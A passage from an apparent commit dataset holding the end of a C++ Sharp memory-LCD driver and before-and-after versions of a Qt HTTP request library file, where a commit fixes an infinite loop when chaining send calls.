wasn't called<commit_after>#include <chrono>\n#include <iostream>\n\n#include <mraa\/common.hpp>\n\n#include \"SharpLCD.hpp\"\n\n\nstatic uint8_t reverseBits(uint8_t x) {\n\tx = ((x & 0xAA) >> 1) | ((x & 0x55) << 1);\n\tx = ((x & 0xCC) >> 2) | ((x & 0x33) << 2);\n\tx = ((x & 0xF0) >> 4) | ((x & 0x0F) << 4);\n\treturn x;\n}\n\nstatic void mR(mraa::Result r) {\n\tif (r != mraa::SUCCESS) {\n\t\tmraa::printError(r);\n\t\tthrow std::invalid_argument(\"MRAA error\");\n\t}\n}\n\nstatic uint8_t pixelMask(int x) {\n\treturn 0x80 >> (x % 8);\n}\n\nstatic uint8_t startMask(int x) {\n\treturn 0xFF >> (x % 8);\n}\n\nstatic uint8_t endMask(int x) {\n\treturn 0xFF80 >> (x % 8);\n}\n\nsize_t SharpLCD::pixelIndex(uint16_t x, uint16_t y) {\n\treturn bwidth * y + (x \/ 8);\n}\n\nvoid SharpLCD::applyMask(size_t index, uint8_t mask, uint8_t color) {\n\t\/\/ color is assumed to be 0x00(Black) or 0xFF (white)\n\t\/\/ this is ensured by translateColor\n\tuint8_t &p = frameBuf[index];\n\tp = (p | (mask & color)) & (~mask | color);\n}\n\nSharpLCD::SharpLCD(int width, int height) :\tscs(15), vdd(31), pwm(20), spi(1) {\n\tc.size = sizeof(c);\n\tc.displayData = this;\n\tc.width = width;\n\tc.heigth = height;\n\tc.callPixelDraw = &SharpLCD::drawPixel;\n\tc.callPixelDrawMultiple = &SharpLCD::drawMultiplePixel;\n\tc.callLineDrawH = &SharpLCD::drawLineH;\n\tc.callLineDrawV = &SharpLCD::drawLineV;\n\tc.callRectFill = &SharpLCD::fillRect;\n\tc.callColorTranslate = &SharpLCD::translateColor;\n\tc.callFlush = &SharpLCD::flushBuffer;\n\tc.callClearDisplay = &SharpLCD::clearDisplay;\n\n\tbwidth = (width + 7) \/ 8;\n\trefreshEnabled = false;\n\trefreshRunning = false;\n\trefreshTerminate = false;\n\tframeCounter = 0;\n\n\t\/\/GPIO Init\n\tmR(scs.useMmap(true));\n\tmR(scs.mode(mraa::MODE_PULLUP));\n\tmR(scs.dir(mraa::DIR_OUT));\n\tmR(vdd.mode(mraa::MODE_PULLUP));\n\tmR(vdd.dir(mraa::DIR_OUT));\n\n\t\/\/ Set SPI clock to 1MHz\n\t\/\/ LS013B4DN04: ƒSCLK: Typical 0.5MHz, Max 1.0MHz\n\t\/\/ LS013B7DH03: ƒSCLK: Typical 1.0MHz, Max 1.1MHz\n\tmR(spi.frequency(1000000));\n\tmR(spi.mode(mraa::SPI_MODE0));\n\tmR(spi.bitPerWord(8));\n\tmR(spi.lsbmode(false));\n\n\t\/\/ Set PWM to 60Hz\n\t\/\/ LS013B4DN04: fEXTCOMIN: Typical 1Hz, Max 60Hz\n\t\/\/ LS013B7DH03: fEXTCOMIN: Min 54Hz, Max 65Hz\n\tmR(pwm.period_us(16666));\n\tmR(pwm.pulsewidth_us(8333));\n\n\tcmdBuf[0].assign(2 + (2 + bwidth) * height, cmd_trail);\n\t\/\/ command\n\tcmdBuf[0][0] = cmd_writeLine;\n\tfor (int row = 0; row < height; row++) {\n\t\t\/\/ line numbers\n\t\tcmdBuf[0][1 + row * (2 + bwidth)] = reverseBits(row + 1);\n\t}\n\n\tcmdBuf[1] = cmdBuf[0];\n\tcmdBufIndex = 0;\n\n\tframeBuf.assign(bwidth * height, 0xFF);\n\tflushBuffer(this);\n}\nSharpLCD::~SharpLCD() {\n\trefreshTerminate = true;\n\tif (refreshEnabled) {\n\t\tdispThread.join();\n\t}\n\tscs.write(false);\n\tvdd.write(false);\n\tpwm.enable(false);\n}\n\nvoid SharpLCD::enable() {\n\tif (refreshEnabled)\n\t\treturn;\n\t\/\/ power up display\n\tmR(pwm.enable(true));\n\tmR(vdd.write(true));\n\t\/\/ start display thread\n\trefreshEnabled = true;\n\trefreshTerminate = false;\n\n\tdispThread = std::thread(&SharpLCD::refreshDisplay, this,\n\t\t\tcmdBuf[0].data(), cmdBuf[1].data(), cmdBuf[1].size());\n}\n\nvoid SharpLCD::disable() {\n\trefreshTerminate = true;\n\tif (refreshEnabled) {\n\t\tdispThread.join();\n\t\trefreshEnabled = false;\n\t}\n\tmR(vdd.write(false));\n\tmR(pwm.enable(false));\n}\n\nvoid SharpLCD::refreshDisplay(uint8_t *data0, uint8_t *data1, int len) {\n\t\/\/ for good measure, wait a few ms until things have settled\n\tstd::this_thread::sleep_for(std::chrono::milliseconds(10));\n\tstd::unique_lock<std::mutex> refreshLock(refreshMutex);\n\trefreshRunning = true;\n\trefreshCond.notify_all();\n\n\tuint8_t * const dataPtr[2] = {data0, data1};\n\twhile (!refreshTerminate) {\n\t\tuint8_t index = cmdBufIndex;\n\t\tuint8_t *data = dataPtr[index];\n\t\tcmdBufUsed[index] = true;\n\t\tframeCounter++;\n\t\trefreshLock.unlock();\n\t\tstd::chrono::steady_clock::time_point t = std::chrono::steady_clock::now();\n\t\tscs.write(true);\n\t\tstd::this_thread::sleep_for(std::chrono::microseconds(6));\n\t\t\/\/TODO check for error\n\t\tspi.transfer(data, NULL, len);\n\t\tstd::this_thread::sleep_for(std::chrono::microseconds(2));\n\t\tscs.write(false);\n\t\trefreshCond.notify_all();\n\t\tstd::this_thread::sleep_until(t + std::chrono::microseconds(16666));\n\t\trefreshLock.lock();\n\t}\n\trefreshRunning = false;\n\trefreshCond.notify_all();\n}\n\n\nvoid SharpLCD::drawPixel(void *tp, int16_t x, int16_t y, uint16_t value) {\n\tSharpLCD &t = *(SharpLCD*) tp;\n\tt.applyMask(t.pixelIndex(x, y), pixelMask(x), value);\n}\n\nvoid SharpLCD::drawMultiplePixel(void *tp, int16_t x, int16_t y, int16_t x0, int16_t count, int16_t bPP, const uint8_t *data, const uint32_t *pucPalette) {\n\t\/\/ this doesn't seem to be needed for anything\n\tstd::cerr << \"drawMultiplePixel is not supported\" << std::endl;\n}\n\nvoid SharpLCD::drawLineH(void *tp, int16_t x1, int16_t x2, int16_t y, uint16_t value) {\n\tSharpLCD &t = *(SharpLCD*) tp;\n\tsize_t sidx = t.pixelIndex(x1, y);\n\tsize_t eidx = t.pixelIndex(x2, y);\n\tuint8_t smask = startMask(x1);\n\tuint8_t emask = endMask(x2);\n\tif (sidx == eidx) {\n\t\tt.applyMask(sidx, smask & emask, value);\n\t} else {\n\t\tt.applyMask(sidx, smask, value);\n\t\tfor (size_t i=sidx+1; i<eidx; i++) {\n\t\t\tt.applyMask(i, 0xFF, value);\n\t\t}\n\t\tt.applyMask(eidx, emask, value);\n\t}\n}\n\nvoid SharpLCD::drawLineV(void *tp, int16_t x, int16_t y1, int16_t y2, uint16_t value) {\n\tSharpLCD &t = *(SharpLCD*) tp;\n\tuint8_t mask = pixelMask(x);\n\tfor (int16_t y = y1; y<=y2; y++) {\n\t\tt.applyMask(t.pixelIndex(x, y), mask, value);\n\t}\n}\n\nvoid SharpLCD::fillRect(void *tp, const Graphics_Rectangle *rect, uint16_t value) {\n\tfor (int16_t y=rect->yMin; y<=rect->yMax; y++) {\n\t\tSharpLCD::drawLineH(tp, rect->xMin, rect->xMax, y, value);\n\t}\n}\n\nuint32_t SharpLCD::translateColor(void *tp, uint32_t value) {\n\treturn value ? 0xFF : 0x00;\n}\n\nuint32_t SharpLCD::getFrameCounter() {\n\tstd::unique_lock<std::mutex> refreshLock(refreshMutex);\n\treturn this->frameCounter;\n}\n\nvoid SharpLCD::flushBuffer(void *tp) {\n\tSharpLCD &t = *(SharpLCD*) tp;\n\tuint8_t freeIndex = 1 - t.cmdBufIndex;\n\t\/\/ skip command and line number\n\tuint8_t *dst = t.cmdBuf[freeIndex].data()+2;\n\tuint8_t *src = t.frameBuf.data();\n\tfor (uint16_t i=0; i<t.c.heigth; i++) {\n\t\tfor (size_t j=0; j<t.bwidth; j++) {\n\t\t\t*dst++ = *src++;\n\t\t}\n\t\tdst += 2; \/\/ skip trailer and line number\n\t}\n\tstd::unique_lock<std::mutex> refreshLock(t.refreshMutex);\n\tt.cmdBufIndex = freeIndex;\n\tt.cmdBufUsed[freeIndex] = false;\n\twhile (!t.cmdBufUsed[freeIndex] && t.refreshRunning) {\n\t\tt.refreshCond.wait(refreshLock);\n\t}\n}\n\nvoid SharpLCD::clearDisplay(void *tp, uint16_t value) {\n\t\/\/ value is assumed to be 0x00(Black) or 0xFF (white)\n\t\/\/ this is ensured by translateColor\n\tSharpLCD &t = *(SharpLCD*) tp;\n\tt.frameBuf.assign(t.frameBuf.size(), value);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2015 Cutehacks AS. All rights reserved.\n\/\/ License can be found in the LICENSE file.\n\n#include <QtDebug>\n#include <QtCore\/QFile>\n#include <QtCore\/QFileInfo>\n#include <QtCore\/QBuffer>\n#include <QtCore\/QMimeDatabase>\n#include <QtNetwork\/QNetworkAccessManager>\n#include <QtNetwork\/QNetworkRequest>\n#include <QtNetwork\/QHttpMultiPart>\n#ifndef QT_NO_SSL\n#include <QtNetwork\/QSslError>\n#endif\n#include <QtQml\/QQmlEngine>\n#include <QtQml\/QJSValueIterator>\n\n#include \"request.h\"\n#include \"response.h\"\n#include \"config.h\"\n#include \"serialization.h\"\n\nnamespace com { namespace cutehacks { namespace duperagent {\n\nContentTypeMap contentTypes;\n\nRequestPrototype::RequestPrototype(QQmlEngine *engine, Method method, const QUrl &url) :\n    QObject(0),\n    m_method(method),\n    m_engine(engine),\n    m_network(engine->networkAccessManager()),\n    m_request(0),\n    m_reply(0),\n    m_multipart(0),\n    m_timeout(-1),\n    m_timer(0),\n    m_redirects(5),\n    m_redirectCount(0)\n{\n    getConfig()->init(m_engine);\n    m_request = new QNetworkRequest(QUrl(url.toString()));\n    m_engine->setObjectOwnership(this, QQmlEngine::JavaScriptOwnership);\n    m_self = m_engine->newQObject(this);\n}\n\nRequestPrototype::~RequestPrototype()\n{\n    delete m_request;\n    delete m_multipart;\n}\n\nQJSValue RequestPrototype::use(QJSValue fn)\n{\n    if (fn.isCallable()) {\n        fn.call(QJSValueList() << self());\n    } else {\n        qWarning(\"'use' expects a function\");\n    }\n    return self();\n}\n\nQJSValue RequestPrototype::timeout(int ms)\n{\n    m_timeout = ms;\n    return self();\n}\n\nQJSValue RequestPrototype::clearTimeout()\n{\n    m_timeout = -1;\n    return self();\n}\n\nQJSValue RequestPrototype::abort()\n{\n    if (m_reply && m_reply->isRunning())\n        m_reply->abort();\n    return self();\n}\n\nQJSValue RequestPrototype::set(const QJSValue &field, const QJSValue &val)\n{\n    if (field.isObject()) {\n        QJSValueIterator it(field);\n        while (it.next()) {\n            m_request->setRawHeader(\n                        it.name().toUtf8(),\n                        it.value().toString().toUtf8());\n        }\n    } else {\n        m_request->setRawHeader(\n                    field.toString().toUtf8(),\n                    val.toString().toUtf8());\n    }\n\n    return self();\n}\n\nQJSValue RequestPrototype::unset(const QString &field)\n{\n    m_request->setRawHeader(\n                field.toUtf8(),\n                QByteArray());\n\n    return self();\n}\n\nQJSValue RequestPrototype::type(const QJSValue &type)\n{\n    QString t = type.toString();\n    if (contentTypes.contains(t)) {\n        m_request->setHeader(QNetworkRequest::ContentTypeHeader,\n                             contentTypes.value(t));\n    } else {\n        m_request->setHeader(QNetworkRequest::ContentTypeHeader, t);\n    }\n    return self();\n}\n\nQJSValue RequestPrototype::accept(const QJSValue &type)\n{\n    const QByteArray ACCEPT_HEADER(\"Accept\");\n    QByteArray t = type.toString().toUtf8();\n    if (contentTypes.contains(t)) {\n        m_request->setRawHeader(ACCEPT_HEADER, contentTypes.value(t));\n    } else {\n        m_request->setRawHeader(ACCEPT_HEADER, t);\n    }\n    return self();\n}\n\nQJSValue RequestPrototype::auth(const QString &user, const QString &password)\n{\n    const QByteArray AUTH_HEADER(\"Authorization\");\n    QByteArray value = QByteArray(\"Basic \").append(\n                (user + \":\" + password)\n                .toUtf8()\n                .toBase64(QByteArray::Base64UrlEncoding));\n\n    m_request->setRawHeader(AUTH_HEADER, value);\n    return self();\n}\n\nQJSValue RequestPrototype::redirects(int redirects)\n{\n    m_redirects = redirects;\n    return self();\n}\n\n\nQJSValue RequestPrototype::query(const QJSValue &query)\n{\n    if (query.isObject()) {\n        QJSValueIterator it(query);\n        while (it.next()) {\n            m_query.addQueryItem(\n                        it.name(),\n                        it.value().toString());\n        }\n    } else if (query.isString()) {\n        QUrlQuery parsed(query.toString());\n        QList<QPair<QString, QString> > items =\n                parsed.queryItems(QUrl::FullyDecoded);\n        QPair<QString, QString> pair;\n        foreach(pair, items) {\n            m_query.addQueryItem(pair.first, pair.second);\n        }\n    } else {\n        qWarning(\"'query' expects an object or string\");\n    }\n\n    return self();\n}\n\nQJSValue RequestPrototype::field(const QJSValue &name, const QJSValue &value)\n{\n    if (!m_multipart)\n        m_multipart = new QHttpMultiPart(QHttpMultiPart::FormDataType, this);\n\n    QString dispositionHeader(\"form-data; name=\\\"\");\n    dispositionHeader += name.toString();\n    dispositionHeader += \"\\\";\";\n\n    QHttpPart field;\n    field.setHeader(QNetworkRequest::ContentDispositionHeader, dispositionHeader);\n    field.setBody(value.toString().toUtf8());\n\n    m_multipart->append(field);\n\n    return self();\n}\n\nQJSValue RequestPrototype::attach(const QJSValue &name, const QJSValue &path,\n                                  const QJSValue &filename)\n{\n    if (!m_multipart)\n        m_multipart = new QHttpMultiPart(QHttpMultiPart::FormDataType, this);\n\n    QString dispositionHeader(\"form-data; name=\\\"\");\n    dispositionHeader += name.toString();\n    dispositionHeader += \"\\\";\";\n\n    QFile *file = new QFile(path.toString(), m_multipart);\n\n    if (!file->exists()) {\n        qWarning(\"File does not exist\");\n        return self();\n    }\n\n    if (!file->open(QIODevice::ReadOnly)) {\n        qWarning(\"Could not open file for reading\");\n        return self();\n    }\n\n    QFileInfo fileInfo(*file);\n\n    QString fname = filename.isString() ? filename.toString() : fileInfo.fileName();\n    dispositionHeader += \" filename=\\\"\" + fname + \"\\\"\";\n\n    QHttpPart attachment;\n    attachment.setHeader(QNetworkRequest::ContentDispositionHeader, dispositionHeader);\n\n    \/\/ TODO: Move the mimeDB somewhere more static\n    QMimeDatabase mimeDB;\n    QString contentType = mimeDB.mimeTypeForFile(fileInfo).name();\n    if (!contentType.isEmpty())\n        attachment.setHeader(QNetworkRequest::ContentTypeHeader, QVariant(contentType));\n\n    attachment.setBodyDevice(file);\n\n    m_multipart->append(attachment);\n\n    return self();\n}\n\nQJSValue RequestPrototype::send(const QJSValue &data)\n{\n    QByteArray type = m_request->header(QNetworkRequest::ContentTypeHeader)\n            .toByteArray();\n\n    if (data.isObject() && m_data.isObject()) {\n        \/\/ merge with existing data\n        QJSValueIterator it(data);\n        while (it.hasNext()) {\n            m_data.setProperty(it.name(), it.value());\n        }\n    } else if(data.isString()) {\n        if (type.isEmpty()) {\n            type = contentTypes[\"form\"];\n        }\n        if (type == contentTypes[\"form\"]) {\n            if (m_data.isString()) {\n                m_data = QJSValue(m_data.toString() + \"&\" + data.toString());\n            } else {\n                m_data = data;\n            }\n        } else {\n            if (m_data.isString()) {\n                m_data = QJSValue(m_data.toString() + data.toString());\n            } else {\n                m_data = data;\n            }\n        }\n    } else {\n        m_data = data;\n    }\n\n    if (type.isEmpty())\n        type = contentTypes[\"json\"];\n\n    m_request->setHeader(QNetworkRequest::ContentTypeHeader, type);\n\n    return self();\n}\n\nQJSValue RequestPrototype::withCredentials()\n{\n    return self();\n}\n\nQJSValue RequestPrototype::end(QJSValue callback)\n{\n    m_callback = callback;\n\n    dispatchRequest();\n\n    return self();\n}\n\nQByteArray RequestPrototype::serializeData()\n{\n    QByteArray type = m_request->header(\n                QNetworkRequest::ContentTypeHeader).toByteArray();\n\n    if (type.contains(contentTypes[\"json\"])) {\n        JsonCodec json(m_engine);\n        return json.stringify(m_data);\n    }\n    return m_data.toString().toUtf8();\n}\n\nvoid RequestPrototype::dispatchRequest()\n{\n    QUrl url = m_request->url();\n    url.setQuery(m_query);\n    m_request->setUrl(url);\n\n    switch (m_method) {\n    case Get:\n        m_reply = m_network->get(*m_request);\n        break;\n    case Post:\n        if (m_multipart) {\n            m_reply = m_network->post(*m_request, m_multipart);\n        } else {\n            m_reply = m_network->post(*m_request, serializeData());\n        }\n        break;\n    case Put:\n        if (m_multipart) {\n            m_reply = m_network->put(*m_request, m_multipart);\n        } else {\n            m_reply = m_network->put(*m_request, serializeData());\n        }\n        break;\n    case Delete:\n        m_reply = m_network->deleteResource(*m_request);\n        break;\n    case Patch:\n        m_request->setAttribute(QNetworkRequest::CustomVerbAttribute, \"PATCH\");\n        m_rawData = serializeData();\n        m_reply = m_network->sendCustomRequest(*m_request, \"PATCH\",\n                                               new QBuffer(&m_rawData, this));\n        break;\n    case Head:\n        m_reply = m_network->head(*m_request);\n        break;\n    default:\n        qWarning(\"Unsupported method\");\n    }\n\n    emit started();\n\n    connect(m_reply, SIGNAL(finished()), this, SLOT(handleFinished()));\n#ifndef QT_NO_SSL\n    connect(m_reply, SIGNAL(sslErrors(QList<QSslError>)),\n            this, SLOT(handleSslErrors(QList<QSslError>)));\n#endif\n\n    if (m_timeout > 0)\n        m_timer = startTimer(m_timeout);\n}\n\nvoid RequestPrototype::handleFinished()\n{\n    killTimer(m_timer);\n\n    int status = m_reply->attribute(\n                QNetworkRequest::HttpStatusCodeAttribute).toInt();\n    QVariant redir = m_reply->attribute(\n                QNetworkRequest::RedirectionTargetAttribute);\n\n    if (redir.isValid()) {\n        m_redirectCount++;\n        if (m_redirectCount <= m_redirects) {\n            QUrl location = m_request->url().resolved(redir.toUrl());\n            if (location.scheme() == \"file\") {\n                qWarning(\"Invalid redirect URL scheme\");\n                return;\n            }\n\n            QNetworkRequest *req = new QNetworkRequest(*m_request);\n            req->setUrl(location);\n            delete m_request;\n            m_request = req;\n            m_reply->deleteLater();\n            m_reply = 0;\n\n            if (status >= 301 && status <= 303) {\n                if (m_method == Post) {\n                    \/\/ TODO: Strip Content-* headers\n\n                    \/\/ TODO: Strip send data\n\n                    m_multipart = 0;\n                }\n\n                if (status == 303 || m_method != Head) {\n                    m_method = Get;\n                }\n            } else if (status != 307 && status != 308) {\n                \/\/ Don't change methods on 307\/308\n                qWarning(\"Unhandled redirect status code\");\n                return;\n            }\n            dispatchRequest();\n            return;\n        } else {\n            m_error = createError(\"Too many redirects\");\n        }\n    }\n\n    if (!m_error.isError() && m_reply->error() != QNetworkReply::NoError) {\n        m_error = createError(m_reply->errorString());\n        m_error.setProperty(\"code\", m_reply->error());\n        if (status >= 400) {\n            m_error.setProperty(\"status\", status);\n            \/\/ TODO: Add \"method\" property\n        }\n    }\n\n    QJSValueList args;\n\n    ResponsePrototype *rep = new ResponsePrototype(m_engine, m_reply);\n    args << m_error << m_engine->newQObject(rep);\n\n    if (m_callback.isCallable()) {\n        m_callback.call(args);\n    } else {\n        qWarning() << QString(\"%1 is not callable\").arg(m_callback.toString());\n    }\n}\n\nQJSValue RequestPrototype::createError(const QString &message, ErrorType type)\n{\n    QString err;\n    switch (type) {\n    case RangeError:\n        err = \"RangeError\";\n        break;\n    case ReferenceError:\n        err = \"ReferenceError\";\n        break;\n    case SyntaxError:\n        err = \"SyntaxError\";\n        break;\n    case TypeError:\n        err = \"TypeError\";\n        break;\n    case URIError:\n        err = \"URIError\";\n        break;\n    case InternalError:\n        err = \"InternalError\";\n        break;\n    case Error:\n    default:\n        err = \"Error\";\n    }\n\n    QString script = \"new %1('%2');\";\n    return m_engine->evaluate(script.arg(err).arg(message));\n}\n\n#ifndef QT_NO_SSL\nvoid RequestPrototype::handleSslErrors(const QList<QSslError> &errors)\n{\n\n}\n#endif\n\nvoid RequestPrototype::timerEvent(QTimerEvent *)\n{\n    m_error = createError(QString(\"Timeout of %1 ms exceeded\").arg(m_timeout));\n    abort();\n}\n\n} } }\n<commit_msg>Prevent infinite looping when chaining multiple send requests<commit_after>\/\/ Copyright 2015 Cutehacks AS. All rights reserved.\n\/\/ License can be found in the LICENSE file.\n\n#include <QtDebug>\n#include <QtCore\/QFile>\n#include <QtCore\/QFileInfo>\n#include <QtCore\/QBuffer>\n#include <QtCore\/QMimeDatabase>\n#include <QtNetwork\/QNetworkAccessManager>\n#include <QtNetwork\/QNetworkRequest>\n#include <QtNetwork\/QHttpMultiPart>\n#ifndef QT_NO_SSL\n#include <QtNetwork\/QSslError>\n#endif\n#include <QtQml\/QQmlEngine>\n#include <QtQml\/QJSValueIterator>\n\n#include \"request.h\"\n#include \"response.h\"\n#include \"config.h\"\n#include \"serialization.h\"\n\nnamespace com { namespace cutehacks { namespace duperagent {\n\nContentTypeMap contentTypes;\n\nRequestPrototype::RequestPrototype(QQmlEngine *engine, Method method, const QUrl &url) :\n    QObject(0),\n    m_method(method),\n    m_engine(engine),\n    m_network(engine->networkAccessManager()),\n    m_request(0),\n    m_reply(0),\n    m_multipart(0),\n    m_timeout(-1),\n    m_timer(0),\n    m_redirects(5),\n    m_redirectCount(0)\n{\n    getConfig()->init(m_engine);\n    m_request = new QNetworkRequest(QUrl(url.toString()));\n    m_engine->setObjectOwnership(this, QQmlEngine::JavaScriptOwnership);\n    m_self = m_engine->newQObject(this);\n}\n\nRequestPrototype::~RequestPrototype()\n{\n    delete m_request;\n    delete m_multipart;\n}\n\nQJSValue RequestPrototype::use(QJSValue fn)\n{\n    if (fn.isCallable()) {\n        fn.call(QJSValueList() << self());\n    } else {\n        qWarning(\"'use' expects a function\");\n    }\n    return self();\n}\n\nQJSValue RequestPrototype::timeout(int ms)\n{\n    m_timeout = ms;\n    return self();\n}\n\nQJSValue RequestPrototype::clearTimeout()\n{\n    m_timeout = -1;\n    return self();\n}\n\nQJSValue RequestPrototype::abort()\n{\n    if (m_reply && m_reply->isRunning())\n        m_reply->abort();\n    return self();\n}\n\nQJSValue RequestPrototype::set(const QJSValue &field, const QJSValue &val)\n{\n    if (field.isObject()) {\n        QJSValueIterator it(field);\n        while (it.next()) {\n            m_request->setRawHeader(\n                        it.name().toUtf8(),\n                        it.value().toString().toUtf8());\n        }\n    } else {\n        m_request->setRawHeader(\n                    field.toString().toUtf8(),\n                    val.toString().toUtf8());\n    }\n\n    return self();\n}\n\nQJSValue RequestPrototype::unset(const QString &field)\n{\n    m_request->setRawHeader(\n                field.toUtf8(),\n                QByteArray());\n\n    return self();\n}\n\nQJSValue RequestPrototype::type(const QJSValue &type)\n{\n    QString t = type.toString();\n    if (contentTypes.contains(t)) {\n        m_request->setHeader(QNetworkRequest::ContentTypeHeader,\n                             contentTypes.value(t));\n    } else {\n        m_request->setHeader(QNetworkRequest::ContentTypeHeader, t);\n    }\n    return self();\n}\n\nQJSValue RequestPrototype::accept(const QJSValue &type)\n{\n    const QByteArray ACCEPT_HEADER(\"Accept\");\n    QByteArray t = type.toString().toUtf8();\n    if (contentTypes.contains(t)) {\n        m_request->setRawHeader(ACCEPT_HEADER, contentTypes.value(t));\n    } else {\n        m_request->setRawHeader(ACCEPT_HEADER, t);\n    }\n    return self();\n}\n\nQJSValue RequestPrototype::auth(const QString &user, const QString &password)\n{\n    const QByteArray AUTH_HEADER(\"Authorization\");\n    QByteArray value = QByteArray(\"Basic \").append(\n                (user + \":\" + password)\n                .toUtf8()\n                .toBase64(QByteArray::Base64UrlEncoding));\n\n    m_request->setRawHeader(AUTH_HEADER, value);\n    return self();\n}\n\nQJSValue RequestPrototype::redirects(int redirects)\n{\n    m_redirects = redirects;\n    return self();\n}\n\n\nQJSValue RequestPrototype::query(const QJSValue &query)\n{\n    if (query.isObject()) {\n        QJSValueIterator it(query);\n        while (it.next()) {\n            m_query.addQueryItem(\n                        it.name(),\n                        it.value().toString());\n        }\n    } else if (query.isString()) {\n        QUrlQuery parsed(query.toString());\n        QList<QPair<QString, QString> > items =\n                parsed.queryItems(QUrl::FullyDecoded);\n        QPair<QString, QString> pair;\n        foreach(pair, items) {\n            m_query.addQueryItem(pair.first, pair.second);\n        }\n    } else {\n        qWarning(\"'query' expects an object or string\");\n    }\n\n    return self();\n}\n\nQJSValue RequestPrototype::field(const QJSValue &name, const QJSValue &value)\n{\n    if (!m_multipart)\n        m_multipart = new QHttpMultiPart(QHttpMultiPart::FormDataType, this);\n\n    QString dispositionHeader(\"form-data; name=\\\"\");\n    dispositionHeader += name.toString();\n    dispositionHeader += \"\\\";\";\n\n    QHttpPart field;\n    field.setHeader(QNetworkRequest::ContentDispositionHeader, dispositionHeader);\n    field.setBody(value.toString().toUtf8());\n\n    m_multipart->append(field);\n\n    return self();\n}\n\nQJSValue RequestPrototype::attach(const QJSValue &name, const QJSValue &path,\n                                  const QJSValue &filename)\n{\n    if (!m_multipart)\n        m_multipart = new QHttpMultiPart(QHttpMultiPart::FormDataType, this);\n\n    QString dispositionHeader(\"form-data; name=\\\"\");\n    dispositionHeader += name.toString();\n    dispositionHeader += \"\\\";\";\n\n    QFile *file = new QFile(path.toString(), m_multipart);\n\n    if (!file->exists()) {\n        qWarning(\"File does not exist\");\n        return self();\n    }\n\n    if (!file->open(QIODevice::ReadOnly)) {\n        qWarning(\"Could not open file for reading\");\n        return self();\n    }\n\n    QFileInfo fileInfo(*file);\n\n    QString fname = filename.isString() ? filename.toString() : fileInfo.fileName();\n    dispositionHeader += \" filename=\\\"\" + fname + \"\\\"\";\n\n    QHttpPart attachment;\n    attachment.setHeader(QNetworkRequest::ContentDispositionHeader, dispositionHeader);\n\n    \/\/ TODO: Move the mimeDB somewhere more static\n    QMimeDatabase mimeDB;\n    QString contentType = mimeDB.mimeTypeForFile(fileInfo).name();\n    if (!contentType.isEmpty())\n        attachment.setHeader(QNetworkRequest::ContentTypeHeader, QVariant(contentType));\n\n    attachment.setBodyDevice(file);\n\n    m_multipart->append(attachment);\n\n    return self();\n}\n\nQJSValue RequestPrototype::send(const QJSValue &data)\n{\n    QByteArray type = m_request->header(QNetworkRequest::ContentTypeHeader)\n            .toByteArray();\n\n    if (data.isObject() && m_data.isObject()) {\n        \/\/ merge with existing data\n        QJSValueIterator it(data);\n        while (it.next()) {\n            m_data.setProperty(it.name(), it.value());\n        }\n    } else if(data.isString()) {\n        if (type.isEmpty()) {\n            type = contentTypes[\"form\"];\n        }\n        if (type == contentTypes[\"form\"]) {\n            if (m_data.isString()) {\n                m_data = QJSValue(m_data.toString() + \"&\" + data.toString());\n            } else {\n                m_data = data;\n            }\n        } else {\n            if (m_data.isString()) {\n                m_data = QJSValue(m_data.toString() + data.toString());\n            } else {\n                m_data = data;\n            }\n        }\n    } else {\n        m_data = data;\n    }\n\n    if (type.isEmpty())\n        type = contentTypes[\"json\"];\n\n    m_request->setHeader(QNetworkRequest::ContentTypeHeader, type);\n\n    return self();\n}\n\nQJSValue RequestPrototype::withCredentials()\n{\n    return self();\n}\n\nQJSValue RequestPrototype::end(QJSValue callback)\n{\n    m_callback = callback;\n\n    dispatchRequest();\n\n    return self();\n}\n\nQByteArray RequestPrototype::serializeData()\n{\n    QByteArray type = m_request->header(\n                QNetworkRequest::ContentTypeHeader).toByteArray();\n\n    if (type.contains(contentTypes[\"json\"])) {\n        JsonCodec json(m_engine);\n        return json.stringify(m_data);\n    }\n    return m_data.toString().toUtf8();\n}\n\nvoid RequestPrototype::dispatchRequest()\n{\n    QUrl url = m_request->url();\n    url.setQuery(m_query);\n    m_request->setUrl(url);\n\n    switch (m_method) {\n    case Get:\n        m_reply = m_network->get(*m_request);\n        break;\n    case Post:\n        if (m_multipart) {\n            m_reply = m_network->post(*m_request, m_multipart);\n        } else {\n            m_reply = m_network->post(*m_request, serializeData());\n        }\n        break;\n    case Put:\n        if (m_multipart) {\n            m_reply = m_network->put(*m_request, m_multipart);\n        } else {\n            m_reply = m_network->put(*m_request, serializeData());\n        }\n        break;\n    case Delete:\n        m_reply = m_network->deleteResource(*m_request);\n        break;\n    case Patch:\n        m_request->setAttribute(QNetworkRequest::CustomVerbAttribute, \"PATCH\");\n        m_rawData = serializeData();\n        m_reply = m_network->sendCustomRequest(*m_request, \"PATCH\",\n                                               new QBuffer(&m_rawData, this));\n        break;\n    case Head:\n        m_reply = m_network->head(*m_request);\n        break;\n    default:\n        qWarning(\"Unsupported method\");\n    }\n\n    emit started();\n\n    connect(m_reply, SIGNAL(finished()), this, SLOT(handleFinished()));\n#ifndef QT_NO_SSL\n    connect(m_reply, SIGNAL(sslErrors(QList<QSslError>)),\n            this, SLOT(handleSslErrors(QList<QSslError>)));\n#endif\n\n    if (m_timeout > 0)\n        m_timer = startTimer(m_timeout);\n}\n\nvoid RequestPrototype::handleFinished()\n{\n    killTimer(m_timer);\n\n    int status = m_reply->attribute(\n                QNetworkRequest::HttpStatusCodeAttribute).toInt();\n    QVariant redir = m_reply->attribute(\n                QNetworkRequest::RedirectionTargetAttribute);\n\n    if (redir.isValid()) {\n        m_redirectCount++;\n        if (m_redirectCount <= m_redirects) {\n            QUrl location = m_request->url().resolved(redir.toUrl());\n            if (location.scheme() == \"file\") {\n                qWarning(\"Invalid redirect URL scheme\");\n                return;\n            }\n\n            QNetworkRequest *req = new QNetworkRequest(*m_request);\n            req->setUrl(location);\n            delete m_request;\n            m_request = req;\n            m_reply->deleteLater();\n            m_reply = 0;\n\n            if (status >= 301 && status <= 303) {\n                if (m_method == Post) {\n                    \/\/ TODO: Strip Content-* headers\n\n                    \/\/ TODO: Strip send data\n\n                    m_multipart = 0;\n                }\n\n                if (status == 303 || m_method != Head) {\n                    m_method = Get;\n                }\n            } else if (status != 307 && status != 308) {\n                \/\/ Don't change methods on 307\/308\n                qWarning(\"Unhandled redirect status code\");\n                return;\n            }\n            dispatchRequest();\n            return;\n        } else {\n            m_error = createError(\"Too many redirects\");\n        }\n    }\n\n    if (!m_error.isError() && m_reply->error() != QNetworkReply::NoError) {\n       